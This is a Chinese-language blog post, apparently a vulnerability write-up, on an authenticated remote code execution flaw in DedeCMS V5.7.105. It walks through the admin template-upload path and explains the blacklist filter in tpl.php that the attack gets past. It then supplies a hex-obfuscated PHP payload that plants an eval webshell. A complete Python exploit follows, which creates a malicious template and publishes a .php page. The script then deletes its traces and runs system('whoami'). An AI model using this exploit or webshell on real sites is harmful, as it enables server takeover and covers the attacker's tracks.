织梦DedeCMS 0day RCE

前言

原文链接:https://mp.weixin.qq.com/s/bwBc4I9GeY6M_WlEDx83TA

复现记录时间:

织梦DedeCMS 0day RCE

下载当前最新版本DedeCMS V5.7.105进行漏洞复现以及漏洞分析

漏洞复现

可以自己在本地搭建漏洞环境,也可以拉取我自己制作的docker镜像

docker pull se1zer/dedecms:latest docker run -d -P se1zer/dedecms 

不会给镜像做瘦身,正在学了,555,要是拉取的太慢可以挂到后台或者就自己本地搭一下吧

首先需要到后台登录界面/uploads/dede/登录到后台,然后如下图操作创建一个模板

织梦DedeCMS 0day RCE

这里模板内容需要做绕过,详情看后边的漏洞分析

<?php "x66x69x6cx65x5fx70x75x74x5fx63x6fx6ex74x65x6ex74x73"('./shell.php', "<?php eva" . "l($_GE" . "T[a]);"); // file_put_contents('./shell.php', "<?php eval($_GET[a]);"); 

织梦DedeCMS 0day RCE

第二步,如下图增加一个页面

织梦DedeCMS 0day RCE

通过刚刚新建的模板进行新建页面,需要注意的是这里文件名处后缀为.php

织梦DedeCMS 0day RCE

织梦DedeCMS 0day RCE

之后便在/uploads/a/下创建了一个文件,访问/uploads/a/123.php页面将会执行自己写的file_put_contents函数生成一个shell.php

织梦DedeCMS 0day RCE

织梦DedeCMS 0day RCE

漏洞分析

通过刚才漏洞复现的接口,可以看到创建模板调用的是tpl.php文件,新建页面调用的是templets_one_add.php文件

tpl.php

文件位于/uploads/dede/tpl.php

在31行这里,对模板内容进行了一些过滤和检测,下边使用注释进行解释过滤

// 不允许这些字符 $content = preg_replace("#(/*)[sS]*(*/)#i", '', $content); // 黑名单正则匹配 global $cfg_disable_funs; $cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'; $cfg_disable_funs = $cfg_disable_funs.',[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,create_function,array_map,call_user_func,call_user_func_array,array_filert'; foreach (explode(",", $cfg_disable_funs) as $value) {     $value = str_replace(" ", "", $value);     // [^a-z]+ 是除a-z之外的字符(在[]里不是开头的意思)     if(!empty($value) && preg_match("#[^a-z]+['"]*{$value}['"]*[s]*[([{]#i", " {$content}") == TRUE) {         $content = dede_htmlspecialchars($content);         die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");     } } // 匹配<?php头 if(preg_match("#^[sS]+<?(php|=)?[s]+#i", " {$content}") == TRUE) {     // 这里的U为惰性匹配     // 匹配函数变量执行,例如$a="phpinfo",则$a()就会被匹配     if(preg_match("#[$][_0-9a-z]+[s]*[(][sS]*[)][s]*[;]#iU", " {$content}") == TRUE) {         $content = dede_htmlspecialchars($content);         die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");     }     // 就是在上一个匹配前加了一个@,防止报错     if(preg_match("#[@][$][_0-9a-z]+[s]*[(][sS]*[)]#iU", " {$content}") == TRUE) {         $content = dede_htmlspecialchars($content);         die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");     }     // 匹配反引号`,防止命令执行     if(preg_match("#[`][sS]*[`]#i", " {$content}") == TRUE) {         $content = dede_htmlspecialchars($content);         die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$content}</pre>");     } } 

通过上述梳理,发现有很多方法是可以绕过的!

之后进入$action == 'saveedit'语句,然后写入文件,这里模板文件必须使用.htm结尾

织梦DedeCMS 0day RCE

templets_one_add.php

前边都是对新建页面内容的一些处理,不会影响模板内容引入,在43行处开始保存文件

织梦DedeCMS 0day RCE

来到uploads/include/arc.sgpage.class.phpSavaToHtml方法

织梦DedeCMS 0day RCE

然后进入uploads/include/dedetag.class.phpSaveTo方法

织梦DedeCMS 0day RCE

798行获取模板内容,如果有标签的话,还会把标签的值写入文件

织梦DedeCMS 0day RCE

至此分析完毕

总结:代码没有对新建页面的文件后缀进行检测,并且模板内容安全检测也不够完善从而导致了这个漏洞的产生

EXP

import requests from urllib.parse import urljoin import re  cookies = {     "PHPSESSID": "5k3br9fh4f34so2k0k85qqg3f5" }  headers = {     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", }  s = requests.session() s.headers.update(headers) s.cookies.update(cookies)  def exp(url):          # 创建恶意模板     tpl_url = urljoin(url, "dede/tpl.php")     ## 获取token     params="action=newfile&acdir=default"     r = s.get(tpl_url, params=params)      token = re.search('"token" value="([a-z0-9]{32})"', r.text).group(1)     # print(token)     shell = """<?php     "\x66\x69\x6c\x65\x5f\x70\x75\x74\x5f\x63\x6f\x6e\x74\x65\x6e\x74\x73"('./shell.php', "<?php eva" . "l($_POS" . "T[a]);");     """     data = {         "action": "saveedit",         "acdir": "default",         "token": token,         "filename": "hack.htm",         "content": shell     }          r = s.post(tpl_url, data=data)     if "成功" in r.text:         print("成功创建模板")          # 利用恶意模板新建页面     templets_url = urljoin(url, "dede/templets_one_add.php")     data = {         "dopost": "save",         "title": "hack",         "keywords": "hack",         "description": "hack",         "likeidsel": "default",         "nfilename": "/a/hack.php",         "template": "{style}/hack.htm",         "ismake": 0,         "body": ""     }     r = s.post(templets_url, data=data)     if "成功" in r.text:         print("成功增加页面")     s.get(urljoin(url, "a/hack.php"))      # 清理痕迹     ## 获取aid     r = s.get(urljoin(url, "dede/templets_one.php"))     aid = re.search("'templets_one_edit.php?aid=([0-9]+)&dopost=edit'>hack", r.text).group(1)     ## 删除页面     params = f"aid={aid}&dopost=delete"     r = s.get(urljoin(url, "dede/templets_one_edit.php"), params=params)     if "成功" in r.text:         print("成功删除页面")     ## 删除恶意模板     params = "action=del&acdir=default&filename=hack.htm"     r = s.get(tpl_url, params=params)     if "成功" in r.text:         print("成功删除模板")          shell_url = urljoin(url, "a/shell.php")     print("shell地址: " + shell_url)     print("shell密钥为a")     r = s.post(shell_url, data={"a":"system('whoami');"})     print("whoami命令执行结果: " + r.text)    if __name__ == "__main__":     url = "http://phpstorm.com/DedeCMS-V5.7.105-UTF8/uploads/"     exp(url) 

登录后台后,手动修改脚本中的cookie和网站根目录,运行脚本即可获得shell地址及密码

发表评论

相关文章